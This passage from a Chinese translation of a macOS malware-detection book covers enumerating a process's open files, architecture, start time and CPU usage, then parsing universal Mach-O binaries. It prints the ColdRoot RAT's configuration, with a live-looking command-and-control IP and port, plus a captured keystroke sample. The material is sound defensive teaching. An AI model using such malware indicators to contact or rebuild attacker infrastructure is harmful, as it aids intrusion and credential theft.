如你所见,我们能够提取出 ZuRu 地址空间中加载的所有库,包括恶意的libcrypto.2.dylib

请注意,在最新版本的 macOS 中,系统框架(本质上是一种动态加载的库)已经被移动到称为dyld_shared_cache的地方。然而,vmmap 仍然会报告框架的原始路径。这个点值得注意,主要有两个原因。首先,如果你想检查框架的代码,你需要从共享缓存中提取它。^(14)

其次,如果你已经实现了检测自删除框架库的逻辑,那么你应该为这些框架库做出例外处理。否则,你的代码会报告它们已经被删除。检查某个框架是否已经被移动到缓存中的一种简单方法是调用苹果的dyld_shared_cache_contains_path API。

打开的文件

正如枚举已加载的库可以提供关于进程能力的洞察一样,枚举任何打开的文件也可以提供类似的帮助。这项技术可以帮助我们识别被称为 ColdRoot 的恶意软件,这是一种提供远程攻击者对受感染系统完全控制的 RAT。^(15) 如果你列出系统上每个进程打开的所有文件,你会发现有一个名为conx.wol的奇怪文件,它是由名为com.apple.audio.driver.app的进程打开的。仔细检查后,会发现该进程并非苹果的进程,实际上它是恶意软件(ColdRoot),conx.wol是该恶意软件的配置文件,并包含对防御者非常重要的信息,包括命令与控制服务器的地址:

% **cat com.apple.audio.driver.app/Contents/MacOS/conx.wol**
{
    "PO": 80,
    "HO": "45.77.49.118",
    "MU": "CRHHrHQuw JOlybkgerD",
    "VN": "Mac_Vic",
    "LN": "adobe_logs.log",
    "KL": true,
    "RN": true,
    "PN": "com.apple.audio.driver"
} 

接下来,你会遇到恶意软件打开的另一个文件,adobe_logs.log,它似乎包含捕获的按键信息,包括一个银行账户的用户名和密码:

bankofamerica.com
[enter]
user
[tab]
hunter2
[enter] 

你可能在想,如何仅通过编程方法来确定这些文件是否是恶意的。说实话,这会非常复杂。可能需要创建正则表达式来查找 URL、IP 地址,或者看起来像是捕获的按键,比如控制字符。然而,更有可能的是,其他检测逻辑已经将这个未签名的打包恶意软件标记为可疑,并将其标记为需要更仔细的检查,理想情况下由人工恶意软件分析师来检查。例如,ColdRoot 就是未签名、打包并且持久化的。在这种情况下,代码可以为分析师提供任何由可疑进程打开的文件列表以及文件内容。然后,分析师可以手动确认标记的进程是否为恶意软件,并使用这些文件来初步了解它是如何工作的。

本节我们讨论两种通过编程方式枚举进程打开的所有文件的方法。

proc_pidinfo

传统的枚举进程当前打开的文件的方法涉及 proc_pidinfo API。简而言之,调用这个 API 并使用 PROC_PIDLISTFDS 标志,将返回一个给定进程的打开文件描述符列表。让我们通过一个代码示例来演示如何使用这个 API。你可以在enumerateProcesses项目中的一个名为 getFiles 的函数中找到完整的代码。我们首先通过获取进程的文件描述符(列表 1-28)开始。

❶ int size = proc_pidinfo(pid, PROC_PIDLISTFDS, 0, 0, 0);

❷ struct proc_fdinfo* fdInfo = (struct proc_fdinfo*)malloc(size);

❸ proc_pidinfo(pid, PROC_PIDLISTFDS, 0, fdInfo, size); 

列表 1-28:获取进程文件描述符的列表

该代码使用目标进程的进程 ID、PROC_PIDLISTFDS 标志和一系列零值调用 proc_pidinfo API,以获取保存进程文件描述符列表所需的内存大小 ❶。然后,我们分配一个足够大小的缓冲区来保存 proc_fdinfo 结构的指针 ❷。接着,为了获取实际的描述符列表,我们重新调用 proc_pidinfo API,这次传入新分配的缓冲区及其大小 ❸。

现在我们已经有了打开的文件描述符列表,接下来让我们检查它们。常规文件应具有 PROX_FDTYPE_VNODE 类型的描述符。列表 1-29 提取这些文件的路径。

NSMutableArray* files = [NSMutableArray array];

  ❶ for(int i = 0; i < (size/PROC_PIDLISTFD_SIZE); i++) {
        struct vnode_fdinfowithpath vnodeInfo = {0};

 ❷ if(PROX_FDTYPE_VNODE != fdInfo[i].proc_fdtype) {
            continue;
        }

      ❸ proc_pidfdinfo(pid, fdInfo[i].proc_fd,
        PROC_PIDFDVNODEPATHINFO, &vnodeInfo, PROC_PIDFDVNODEPATHINFO_SIZE);

      ❹ [files addObject:[NSString stringWithUTF8String:vnodeInfo.pvip.vip_path]];
} 

列表 1-29:从文件描述符中提取路径

使用 for 循环,我们遍历检索到的文件描述符 ❶。对于每个描述符,我们检查它是否为 PROX_FDTYPE_VNODE 类型,并跳过其他类型 ❷。然后,我们调用 proc_pidfdinfo API,并传入各种参数,例如进程 ID、文件描述符和 PROC_PIDFDVNODEPATHINFO,以及一个类型为 vnode_fdinfowithpath 的输出结构及其大小 ❸。这应该返回关于指定文件描述符的信息,包括它的路径。一旦调用完成,我们可以在 vnode_fdinfowithpath 结构中的 vip_path 成员找到路径。我们提取该成员,将其转换为字符串对象,并将其保存到数组中 ❹。

lsof

另一种列举进程打开的文件的方法是模仿 macOS 的 Activity Monitor 工具。虽然这种方法依赖于外部的 macOS 可执行文件,但它通常比 proc_pidinfo 方法生成更全面的列表。

在 Activity Monitor 中选择一个进程后,用户可以点击信息图标,然后选择“打开文件和端口”标签,查看该进程打开的所有文件。通过逆向工程 Activity Monitor,我们可以了解到,它通过执行 lsof 来实现这一行为,lsof 是 macOS 内置的一个列出打开文件的工具。

您可以通过进程监视器确认 Activity Monitor 使用了 lsof,这个工具我将在第八章中教您如何创建。当用户点击“打开文件和端口”标签时,进程监视器将显示执行 lsof 的命令行标志 -Fn 和 -p:

# **./ProcessMonitor.app/Contents/MacOS/ProcessMonitor**

{
  "event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
  "process" : {
    "pid" : 86903
    "name" : **"lsof",**
    "path" : "/usr/sbin/lsof",

    "arguments" : [
      "/usr/sbin/lsof",
 **"-Fn",**
 **"-p",**
      "590"
 ],
...
} 

-p 标志指定进程的 ID,而 -F 标志选择要处理的字段。当该标志后跟 n 时,工具只会打印出文件路径,这正是我们想要的。

让我们按照 Activity Monitor 的方法执行给定进程的 lsof 二进制文件,然后以编程方式解析其输出。您可以在 enumerateProcesses 项目中找到实现此方法的完整代码,它位于名为 getFiles2 的函数中。在示例 1-30 中,我们首先使用 -Fn 和 -p 标志以及进程 ID 来执行 lsof。

NSString* pidAsString = [NSNumber numberWithInt:pid].stringValue;
NSMutableDictionary* results = execTask(@"/usr/sbin/lsof", @[@"-Fn", @"-p", pidAsString]); 

示例 1-30:以编程方式执行 lsof

我们重用在示例 1-24 中创建的 execTask 函数来运行该命令。然而,由于命令行参数作为字符串传递给外部进程,我们必须首先将目标进程 ID 转换为字符串。回想一下,execTask 函数会等待直到被启动的任务完成,捕获任何输出并返回给调用者。示例 1-31 展示了一种解析 lsof 输出的方法。

NSMutableArray* files = [NSMutableArray array];

NSArray* lines = [[[NSString alloc] initWithData:results[STDOUT] ❶
encoding:NSUTF8StringEncoding] componentsSeparatedByCharactersInSet:[NSCharacterSet
newlineCharacterSet]]; ❷

for(NSString* result in lines) {
    if(YES == [result hasPrefix:@"n"]) { ❸
        NSString* file = [result substringFromIndex:1];
        [files addObject:file];
    }
} 

示例 1-31:解析 lsof 输出

输出存储在名为 results 的字典中,您可以通过键 STDOUT ❶ 访问它。您可以按换行符拆分输出,以便逐行处理 ❷。然后遍历每一行,查找包含文件路径的行(这些行以 n 为前缀) ❸,并将其保存。

其他信息

当然,您可能还想从正在运行的进程中提取其他信息,以帮助您检测 macOS 系统中的恶意代码。本章通过一些示例来总结,探讨进程的以下细节:其执行状态、执行架构、启动时间以及 CPU 使用率。您还可能希望确定其网络状态,相关内容将在第四章中讲解。

执行状态

假设你已经获取了一个进程 ID 的列表。你可能还想进一步查询这个进程(例如,构建进程的祖先树或计算代码签名信息)。但是,如果该进程已经退出,比如在短暂的 shell 命令情况下,怎么办呢?这是一个重要的信息,至少,你会想理解为什么任何进一步查询该进程的尝试会失败。

确定一个进程是否已经终止的一个简单方法是尝试向它发送一个信号。你可以通过 kill 系统 API,并设置信号类型为 0 来做到这一点,正如在清单 1-32 中所示。

kill(targetPID, 0);
if(ESRCH == errno) {
    // Code placed here will run only if the process is dead.
} 

清单 1-32:检查进程是否已终止

这不会杀死任何存活的进程;实际上,它是完全无害的。然而,如果一个进程已经退出,API 会将 errno 设置为 ESRCH(没有此进程)。

如果进程已经变成僵尸进程怎么办?你可以使用 sysctl API 来填充一个 kinfo_proc 结构,正如在清单 1-33 中所示。

int mib[4] =  {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
size_t size = sizeof(procInfo);

sysctl(mib, 4, &procInfo, &size, NULL, 0);
if(SZOMB == (SZOMB & procInfo.kp_proc.p_stat)) {
    // Code placed here will run only if the process is a zombie.
} 

清单 1-33:检查进程是否为僵尸进程

这个结构包含一个名为 p_stat 的标志。如果该标志设置了 SZOMB 位,那么你就知道该进程是一个僵尸进程。

执行架构

随着 Apple Silicon 的引入,macOS 现在支持 Intel(x86_64)和 ARM(ARM64)二进制文件。因为许多分析工具是针对文件架构的,所以识别进程的架构信息非常重要。此外,尽管开发者已经重新编译了大多数合法软件,以原生方式运行在 Apple Silicon 上,但恶意软件仍在赶超;令人惊讶的是,它仍然有相当一部分是以 Intel 二进制文件形式分发的。2022 年发现的一些仅以 Intel 二进制文件形式分发的恶意软件示例包括 DazzleSpy、rShell、oRat 和 CoinMiner:

% **file DazzleSpy/softwareupdate**
DazzleSpy/softwareupdate: Mach-O 64-bit executable **x86_64** 

因此,你可能想要比 ARM 或通用二进制文件更仔细地查看 Intel 二进制文件。

不幸的是,识别架构信息并不像仅仅检查主机的 CPU 类型那样简单,因为在 Apple Silicon 系统上,Intel 二进制文件仍然可以执行,尽管是通过 Rosetta 转译的。相反,你可以跟踪活动监视器所采用的方法。清单 1-34 展示了这种方法,你可以在 enumerateProcesses 项目的 getArchitecture 函数中找到它。

enum Architectures{ArchUnknown, ArchAppleSilicon, ArchIntel};

NSUInteger getArchitecture(pid_t pid) {
    NSUInteger architecture = ArchUnknown;
    cpu_type_t type = -1;
    size_t size = 0;
    int mib[CTL_MAXNAME] = {0};
    size_t length = CTL_MAXNAME;
    struct kinfo_proc procInfo = {0};

  ❶ sysctlnametomib("sysctl.proc_cputype", mib, &length);
    mib[length++] = pid;

    size = sizeof(cpu_type_t);
  ❷ sysctl(mib, (u_int)length, &type, &size, 0, 0);

  ❸ if(CPU_TYPE_X86_64 == type) {
        architecture = ArchIntel;
    } else if(CPU_TYPE_ARM64 == type) {
      ❹ architecture = ArchAppleSilicon;
        mib[0] = CTL_KERN;
        mib[1] = KERN_PROC;
        mib[2] = KERN_PROC_PID;
        mib[3] = pid;
        size = sizeof(procInfo);

        sysctl(mib, 4, &procInfo, &size, NULL, 0);
      ❺ if(P_TRANSLATED == (P_TRANSLATED & procInfo.kp_proc.p_flag)) {
            architecture = ArchIntel;
        }
    }
    return architecture;
} 

清单 1-34:获取进程的架构

这段代码以及活动监视器,首先使用 "proc_cputype" 字符串和 sysctlnametomib 和 sysctl API 来确定正在运行的进程的 CPU 类型。请注意,传递给 sysctlnametomib 的数组大小为 CTL_MAXNAME,这是苹果定义的常量,表示 MIB 名称中组件的最大数量。如果返回的是 Intel(CPU_TYPE_X86_64),则表示该进程以 x86_64 形式运行。然而,在 Apple Silicon 系统上,这些进程仍然可能由基于 Intel 的二进制文件支持,这些二进制文件通过 Rosetta 转换为 ARM 架构。为了检测这种情况,苹果检查进程的 p_flags(通过调用 sysctl 获取)。如果这些标志设置了 P_TRANSLATED 位,活动监视器将架构设置为 Intel。

enumerateProcesses 项目中,您会发现一个名为 getArchitecture 的函数。它接受一个进程 ID 并返回其架构。首先,我们通过 sysctlnametomib API 填充一个数组,传入名称 sysctl.proc_cputype ❶。然后,在添加目标进程 ID 后,我们使用初始化的数组调用 sysctl API 以获取该进程的 CPU 类型 ❷。如果返回的 CPU 类型是 CPU_TYPE_X86_64,代码将架构设置为 Intel ❸。另一方面,如果目标进程的 CPU 类型是 CPU_TYPE_ARM64,代码将默认设置为 Apple Silicon ❹。如前所述,该进程仍可能是基于 Intel 的二进制文件,尽管已经被转换。为了检测这种情况,代码会检查进程的 p_flags 是否设置了 P_TRANSLATED 位。如果是,它将架构设置为 Intel ❺。

启动时间

在查询正在运行的进程时,了解每个进程的启动时间可能会很有帮助。这可以帮助判断一个进程是系统启动时自动启动的,还是稍后由用户启动的。自动启动的进程可能是持续安装的,如果这些进程不属于操作系统,您可能需要仔细检查它们。

要确定一个进程的启动时间,我们可以再次使用可靠的 sysctl API。列表 1-35 显示了 enumerateProcesses 项目中的 getStartTime 函数,该函数接受一个进程 ID 并返回该进程的启动时间。

NSDate* getStartTime(pid_t pid) {
    NSDate* startTime = nil;
    struct timeval timeVal = {0};
    struct kinfo_proc processStruct = {0};
    size_t procBufferSize = sizeof(processStruct);

    int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};

    sysctl(mib, 4, &processStruct, &procBufferSize, NULL, 0); ❶
    timeVal = processStruct.kp_proc.p_un.__p_starttime; ❷

    return [NSDate dateWithTimeIntervalSince1970:timeVal.tv_sec + timeVal.tv_usec / 1.0e6]; ❸
} 

列表 1-35:获取进程的启动时间

我们调用 sysctl 来填充一个 kinfo_proc 结构体 ❶。该结构体将包含一个名为 p_starttime 的 timeval 结构体 ❷。然后,我们将这个 Unix 时间戳转换为一个更易管理的日期对象,并将其返回给调用者 ❸。

CPU 利用率

我们通过查看如何计算给定进程的 CPU 利用率来结束这一章。虽然这不是一个万无一失的启发式方法,但它可能有助于检测潜伏的加密货币挖矿程序,这些程序往往会最大化系统资源的使用。

要计算 CPU 利用率,首先调用 proc_pid_rusage API,该 API 返回给定进程 ID 的使用信息。此 API 在 libproc.h 中声明如下:

int proc_pid_rusage(int pid, int flavor, rusage_info_t* buffer);

flavor参数可以设置为常量RUSAGE_INFO_V0,最后一个参数是输出缓冲区,用于存储资源信息缓冲区,其类型应为rusage_info_v0

在列表 1-36 中,我们在enumerateProcesses项目的getCPUUsage函数中,调用了proc_pid_rusage两次,并且在调用之间设置了延迟(时间差)。然后我们计算第一次和第二次调用之间的资源信息差异。这个代码灵感来自 Stack Overflow 上的一篇帖子。^(16)

struct rusage_info_v0 resourceInfo_1 = {0};
struct rusage_info_v0 resourceInfo_2 = {0};

❶ proc_pid_rusage(pid, RUSAGE_INFO_V0, (rusage_info_t*)&resourceInfo_1);

sleep(delta);

❷ proc_pid_rusage(pid, RUSAGE_INFO_V0, (rusage_info_t*)&resourceInfo_2);

❸ int64_t cpuTime = (resourceInfo_2.ri_user_time - resourceInfo_1.ri_user_time)
+ (resourceInfo_2.ri_system_time - resourceInfo_1.ri_system_time); 

列表 1-36:计算一个进程在五秒时间差内的 CPU 时间

你可以在❶看到第一次调用proc_pid_rusage,然后在❷看到第二次调用。这两次调用都传入了目标进程的相同进程 ID。接着,我们通过减去用户时间(ri_user_time)和系统时间(ri_system_time)来计算 CPU 时间,再将结果相加❸。

为了计算正在使用的 CPU 百分比,我们首先将这个 CPU 时间从 Mach 时间转换为纳秒。列表 1-37 通过调用mach_timebase_info函数实现了这一点。

double cpuUsage = 0.0f;
mach_timebase_info_data_t timebase = {0};

mach_timebase_info(&timebase);
cpuTime = (cpuTime * timebase.numer) / timebase.denom;

cpuUsage = (double)cpuTime / delta / NSEC_PER_SEC * 100; 

列表 1-37:计算 CPU 使用百分比

然后我们将 CPU 时间除以指定的延迟和每秒的纳秒数乘以 100(因为我们需要得到百分比)。^(17)

现在,让我们运行包含此代码的enumerateProcesses,针对本章早些时候提到的未授权加密货币挖矿工具——Calendar 2 应用程序进行检测:

% **./enumerateProcesses**
...
(1641):/Applications/CalendarFree.app/Contents/MacOS/CalendarFree
...
CPU usage: 370.750173% 

由于应用程序在偷偷挖矿,它的 CPU 利用率竟然高达 370%!(在多核 CPU 上,CPU 利用率可以超过 100%。)我们可以通过运行内置的 macOS ps工具,指定日历应用程序的 PID,来确认程序的准确性:

% **ps u -p 1641**
USER   PID      %CPU ...
user   1641     372.4 ... 

尽管具体的百分比会随着时间的推移发生变化,但ps命令显示应用程序大约使用相同数量的 CPU。

结论

在本章中,你学习了如何从正在运行的进程中提取大量有用的信息,包括进程层级、代码信息等等。通过这些信息,你应该能够轻松检测到任何在 macOS 系统上运行的恶意软件。在下一章,我们将专注于如何以编程方式解析和分析支撑每个进程的 Mach-O 可执行二进制文件。

注释

  1. 1.  想要了解更多关于审计令牌的信息,请参见 Scott Knight 的《审计令牌解释》,Knight.sc,2020 年 3 月 20 日,https://knight.sc/reverse%20engineering/2020/03/20/audit-tokens-explained.html

  2. 2.  Patrick Wardle,“分析 OSX.DazzleSpy”,Objective-See,2022 年 1 月 25 日,https://objective-see.org/blog/blog_0x6D.html

  3. 3.  Patrick Wardle, “详细解析 (macOS) 平台的平滑操作员 (第二部分)”,Objective-See,2023 年 4 月 1 日,https://objective-see.org/blog/blog_0x74.html

  4. 4.  Patrick Wardle, “释放 ElectroRAT”,Objective-See,2021 年 1 月 5 日,https://objective-see.org/blog/blog_0x61.html

  5. 5.  Aedan Russel, “ChromeLoader: 一种强势的恶意广告软件”,Red Canary,2022 年 5 月 25 日,https://redcanary.com/blog/chromeloader/

  6. 6.  Mitch Datka, “CrowdStrike 发现新的 MacOS 浏览器劫持活动,” CrowdStrike,2022 年 6 月 2 日, https://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/

  7. 7.  Patrick Wardle, “Mac App Store 中的隐秘加密货币矿工?”,Objective-See,2018 年 3 月 11 日,https://objective-see.org/blog/blog_0x2B.html

  8. 8.  请参阅“App Review Guidelines”,苹果,https://developer.apple.com/app-store/review/guidelines/

  9. 9.  Patrick Wardle, “爱与. . . 恶意软件并存?” Objective-See,2023 年 2 月 14 日,https://objective-see.org/blog/blog_0x72.html

  10. 10.  有关此攻击的更多细节,包括有效负载的完整分析,请参阅我的博客文章,“2019 年 Mac 恶意软件:OSX.Yort”,Objective-See,2020 年 1 月 1 日,https://objective-see.org/blog/blog_0x53.html#osx-yort

  11. 11.  要了解更多关于 macOS 上进程树的信息,请参阅 Jaron Bradley, “嫁接苹果树:构建有用的进程树”,在 Objective by the Sea,夏威夷毛伊岛,2020 年 3 月 12 日发表,https://objectivebythesea.org/v3/talks/OBTS_v3_jBradley.pdf

  12. 12.  Jonathan Levin, “launchd,我来了”,2015 年 10 月 7 日,http://newosxbook.com/articles/jlaunchctl.html

  13. 13.  请参阅 https://objective-see.com/products/taskexplorer.html

  14. 14.  有关此主题的更多内容,请参见 Zhuowei Zhang,“从 dyld_shared_cache 中提取库文件”,Worth Doing Badly,2018 年 6 月 24 日,https://worthdoingbadly.com/dscextract/

  15. 15.  Patrick Wardle,“拆解未被发现的 (OSX) Coldroot RAT”,Objective-See,2018 年 2 月 17 日,https://objective-see.org/blog/blog_0x2A.html

  16. 16.  “proc_pid_rusage 获取的 cpu_time 在 macOS M1 芯片上不符合预期”,Stack Overflow,https://stackoverflow.com/questions/66328149/the-cpu-time-obtained-by-proc-pid-rusage-does-not-meet-expectations-on-the-macos

  17. 17.  你可以在 Howard Oakley 的文章中阅读更多关于 Mach 时间和纳秒转换的话题,“更改 Apple Silicon Mac 中的时钟”,The Eclectic Light Company,2020 年 9 月 8 日,https://eclecticlight.co/2020/09/08/changing-the-clock-in-apple-silicon-macs/

第二章:2 解析二进制文件

在上一章中,我们枚举了正在运行的进程,并提取了可以帮助我们启发式地检测恶意软件的信息。然而,我们并未讨论如何检查每个进程背后的实际二进制文件。本章将介绍如何以编程方式解析和分析通用二进制文件和 Mach-O 文件,后者是 macOS 的本地可执行二进制文件格式。

你将学习如何提取二进制文件的依赖关系和符号信息,以及检测二进制文件是否包含异常,例如加密数据或指令。这些信息将提高你对二进制文件进行恶意或良性分类的能力。

通用二进制文件

大多数 Mach-O 二进制文件以通用二进制文件的形式分发。在 Apple 的术语中,这些被称为fat 二进制文件,它们是多个特定架构(但通常逻辑上等价)的 Mach-O 二进制文件的容器,称为slices。在运行时,macOS 的动态加载器(dyld)会加载并执行最适合主机本地架构(例如 Intel 或 ARM)的嵌入式 Mach-O 二进制文件。由于这些嵌入式二进制文件包含你需要提取的信息,例如依赖关系,你必须首先了解如何以编程方式解析通用二进制文件。

检查

Apple 的文件工具可以检查通用二进制文件。例如,CloudMensis 恶意软件作为名为WindowServer的通用二进制文件分发,包含两个 Mach-O 二进制文件:一个为 Intel x86_64 编译,另一个为 Apple Silicon ARM64 系统编译。让我们对 CloudMensis 执行 file 命令。正如你所看到的,该工具将其识别为通用二进制文件,并显示其包含的两个嵌入式 Mach-O 文件:

% **file CloudMensis/WindowServer**
CloudMensis/WindowServer: Mach-O universal binary with 2 architectures:
[x86_64:Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64]

CloudMensis/WindowServer (for architecture x86_64): Mach-O 64-bit executable x86_64
CloudMensis/WindowServer (for architecture arm64):  Mach-O 64-bit executable arm64 

要以编程方式访问这些嵌入式二进制文件,我们必须解析通用二进制文件的头部,其中包含每个 Mach-O 文件的偏移量。幸运的是,解析头部是直接的。通用二进制文件以 fat_header 结构开头。我们可以在 Apple 的 SDK mach-o/fat.h头文件中找到相关的通用结构和常量:

struct fat_header {
    uint32_t    magic;        /* FAT_MAGIC or FAT_MAGIC_64 */
    uint32_t    nfat_arch;    /* number of structs that follow */
}; 

Apple 在此头文件中的注释表明,fat_header 结构的第一个成员 magic(一个无符号 32 位整数)将包含常量 FAT_MAGIC 或 FAT_MAGIC_64。使用 FAT_MAGIC_64 意味着接下来的结构是 fat_arch_64 类型,当随后的切片或偏移量大于 4GB 时使用该类型。^(1) Apple 的fat.h头文件中的注释指出,扩展格式的支持仍在进行中,通用二进制文件通常不那么庞大,因此本章将重点讨论传统的 fat_arch 结构。

在 fat_header 结构的注释中没有提到的一点是,该结构中的值假定为大端字节序,这是 OSX PPC 时代的遗留物。因此,在 Intel 和 Apple Silicon 等小端系统上,当你将通用二进制文件读取到内存中时,像 magic 的 4 个字节这样的值将以反字节顺序出现。

苹果通过提供“交换”后的魔术常量 FAT_CIGAM 来考虑这一事实。(是的,CIGAM 只是反向的魔术。)该常量的十六进制值为 0xbebafeca。^(2) 我们可以通过使用 xxd 命令来转储 CloudMensis 通用二进制文件开头的字节。对于小端主机,我们使用 -e 标志来显示小端格式的十六进制值:

% **xxd -e -c 4 -g 0 CloudMensis/WindowServer**
00000000: bebafeca ...
... 

当将输出解释为 4 字节值时,主机的字节序会被应用,这解释了为什么我们看到交换后的通用魔术值 FAT_CIGAM(0xbebafeca)。

在 fat_header 结构中的魔术字段之后,我们找到了 nfat_arch 字段,该字段指定了 fat_arch 结构的数量。对于每个嵌入在通用二进制文件中的特定架构的 Mach-O 二进制文件,我们会找到一个 fat_arch 结构。如图 2-1 所示,这些结构紧随 fat_header 之后。

图 2-1:通用二进制文件的布局

由于文件显示 CloudMensis 包含了两个嵌入的 Mach-O 文件,我们预计会看到 nfat_arch 设置为 2。我们通过再次使用 xxd 来确认这一点。不过这次,我们跳过了 -e 标志,以保持大端格式的值:

% **xxd -c 4 -g 0 CloudMensis/WindowServer**
...
00000004: 00000002 ... 

你可以在 fat.h 头文件中找到 fat_arch 结构的定义:

struct fat_arch {
    cpu_type_t       cputype;       /* cpu specifier (int) */
    cpu_subtype_t    cpusubtype;    /* machine specifier (int) */
    uint32_t         offset;        /* file offset to this object file */
 uint32_t    size;     /* size of this object file */
    uint32_t    align;    /* alignment as a power of 2 */
}; 

fat_arch 结构的前两个成员指定了 Mach-O 二进制文件的 CPU 类型和子类型,而接下来的两个成员指定了该切片的偏移量和大小。

解析

让我们通过编程解析一个通用二进制文件并定位每个嵌入的 Mach-O 二进制文件。我们将展示两种方法:使用兼容旧版本 macOS 的老旧 NX* APIs 和适用于 macOS 13 及更高版本的新 Macho* APIs。

注意

你可以在本章提到的代码中找到 parseBinary 项目,该项目位于本书 GitHub 仓库的 github.com/Objective-see/TAOMM*.*

NX* APIs

我们将首先检查文件是否确实是一个通用二进制文件。然后我们将遍历所有的 fat_arch 结构,打印出它们的值,并利用 NXFindBestFatArch API 查找与主机架构最兼容的嵌入式二进制文件。当启动通用二进制文件时,系统将加载并执行这个二进制文件,因此我们会将其作为分析的重点。

你的代码可能会希望检查每个嵌入的 Mach-O 二进制文件,尤其是没有什么能阻止开发者将这些二进制文件完全不同。虽然这种情况很少见,但 2023 年的 3CX 供应链攻击就是一个显著的例外。为了对 3CX 应用程序进行木马化,攻击者破坏了一个合法的通用二进制文件,该文件同时包含了 Intel 和 ARM 二进制文件,攻击者在前者中加入了恶意代码,而保持 ARM 二进制文件不变。

让我们从加载一个文件并执行一些初步检查开始(Listing 2-1)。

#import <mach-o/fat.h>
#import <mach-o/arch.h>
#import <mach-o/swap.h>
#import <mach-o/loader.h>

int main(int argc, const char* argv[]) {

    NSData* data = [NSData dataWithContentsOfFile:[NSString stringWithUTF8String:argv[1]]]; ❶
    struct fat_header* fatHeader = (struct fat_header*)data.bytes; ❷

    if((FAT_MAGIC == fatHeader->magic) || ❸
        (FAT_CIGAM == fatHeader->magic)) {
        printf("\nBinary is universal (fat)\n");
        struct fat_arch* bestArch = parseFat(argv[1], fatHeader);
 ...
    }
    ...
} 

列表 2-1:加载、验证并找到通用二进制文件的“最佳”切片

在将文件内容读取到内存 ❶ 并将初始字节类型转换为 struct fat_header * ❷ 后,代码会检查它是否确实是一个通用二进制文件 ❸。注意,它会检查大端(FAT_MAGIC)和小端(FAT_CIGAM)版本的魔数值。

为了简化起见,这段代码不支持大型 fat 文件格式。此外,对于生产环境代码,你还应该执行其他合理性检查,比如确保文件已成功加载,并且文件大于 fat_header 结构的大小。

解析逻辑在一个名为 parseFat 的辅助函数中,你可以在 列表 2-1 中看到该函数的调用。打印出 fat 头部后,该函数将迭代每个 fat_arch 结构并返回最兼容的 Mach-O 切片。

不过,首先我们必须处理字节序的差异。fat_header 和 fat_arch 结构中的值总是以大端顺序存储,因此在 Intel 和 Apple Silicon 等小端系统上,我们必须交换它们。为此,我们首先调用 NXGetLocalArchInfo API 来确定主机的底层字节顺序(列表 2-2)。我们将使用返回的值,即指向 NXArchInfo 结构的指针,来交换字节序(以及稍后,用于确定最兼容的 Mach-O)。

struct fat_arch* parseFat(const char* file, NSData* data) {
    const NXArchInfo* localArch = NXGetLocalArchInfo(); 

列表 2-2:确定本地机器的架构

你可能注意到 NXGetLocalArchInfo 和 swap_* APIs 被标记为已弃用,尽管它们在发布时仍然可用且完全正常工作。你可以在 macOS 13 及更新版本中使用替代的 macho_* APIs,这些 API 可以在 mach-o/utils.h 中找到,下一节将介绍这些内容。然而,直到 macOS 15,其中一个新的 API 存在问题,因此你可能仍然需要坚持使用旧的 API。

接下来,我们使用 swap_fat_header 和 swap_fat_arch 函数进行交换(列表 2-3)。

struct fat_header* header = (struct fat_header*)data.bytes;

if(FAT_CIGAM == header->magic) { ❶
    swap_fat_header(header, localArch->byteorder); ❷
    swap_fat_arch((struct fat_arch*)((unsigned char*)header + sizeof(struct fat_header)),
    header->nfat_arch, localArch->byteorder); ❸
}

printf("Fat header\n");
printf("fat_magic %#x\n", header->magic);
printf("nfat_arch %d\n",  header->nfat_arch); 

列表 2-3:交换 fat 头部和 fat 架构结构,以匹配主机的字节序

代码首先检查是否需要交换 ❶。回想一下,如果 fat 头部的魔数常量是 FAT_CIGAM,说明代码在小端主机上执行,因此我们应该执行交换。通过调用辅助 API swap_fat_header ❷ 和 swap_fat_arch ❸,代码将头部和所有 fat_arch 值转换为与主机字节序匹配,这一字节序是通过 NXGetLocalArchInfo 返回的。后者 API 接受要交换的 fat_arch 结构的数量,代码通过已交换的 fat 头部的 nfat_arch 字段提供这个数量。

一旦头部和所有 fat_arch 结构符合主机的字节序,代码就可以打印出每个嵌入的 Mach-O 二进制文件的详细信息,这些信息由 fat_arch 结构描述(列表 2-4)。

struct fat_arch* arch = (struct fat_arch*)((unsigned char*)header + sizeof(struct fat_header));

for(uint32_t i = 0; i < header->nfat_arch; i++) { ❶
    printf("architecture %d\n", i);
    printFatArch(&arch[i]);
}

void printFatArch(struct fat_arch* arch) { ❷
    int32_t cpusubtype = 0;
    cpusubtype = arch->cpusubtype & ~CPU_SUBTYPE_MASK; ❸

    printf(" cputype %u (%#x)\n", arch->cputype, arch->cputype);
    printf(" cpusubtype %u (%#x)\n", cpusubtype, cpusubtype);
    printf(" capabilities 0x%#x\n", (arch->cpusubtype & CPU_SUBTYPE_MASK) >> 24);
    printf(" offset %u (%#x)\n", arch->offset, arch->offset);
    printf(" size %u (%#x)\n", arch->size, arch->size);
    printf(" align 2^%u (%d)\n", arch->align, (int)pow(2, arch->align));
} 

列表 2-4:打印出每个 fat_arch 结构

代码首先初始化一个指向第一个 fat_arch 结构的指针,该结构紧跟在 fat_header 之后。然后,它遍历每个结构,这些结构由 fat_header 中的 nfat_arch 成员界定❶。为了打印出每个 fat_arch 结构的值,代码调用了一个我们命名为 printFatArch 的辅助函数❷,该函数首先分离出 CPU 子类型及其能力,因为这两者都位于 cpusubtype 成员中。Apple 提供了 CPU_SUBTYPE_MASK 常量来提取描述子类型的位❸。

让我们在 CloudMensis 上运行此代码。它输出以下内容:

% **./parseBinary CloudMensis/WindowServer**
Binary is universal (fat)
Fat header
fat_magic 0xcafebabe
nfat_arch 2
architecture 0
    cputype 16777223 (0x1000007)
    cpusubtype 3 (0x3)
    capabilities 0x0
    offset 16384 (0x4000)
    size 708560 (0xacfd0)
    align 2¹⁴ (16384)
architecture 1
    cputype 16777228 (0x100000c)
    cpusubtype 0 (0)
    capabilities 0x0
    offset 737280 (0xb4000)
    size 688176 (0xa8030)
    align 2¹⁴ (16384) 

从输出中,我们可以看到恶意软件的两个嵌入式 Mach-O 二进制文件:

  • 在偏移量 16384 处,一个与 CPU_TYPE_X86_64(0x1000007)兼容的二进制文件,大小为 708,560 字节

  • 在偏移量 737280 处,一个与 CPU_TYPE_ARM64(0x100000c)兼容的二进制文件,大小为 688,176 字节

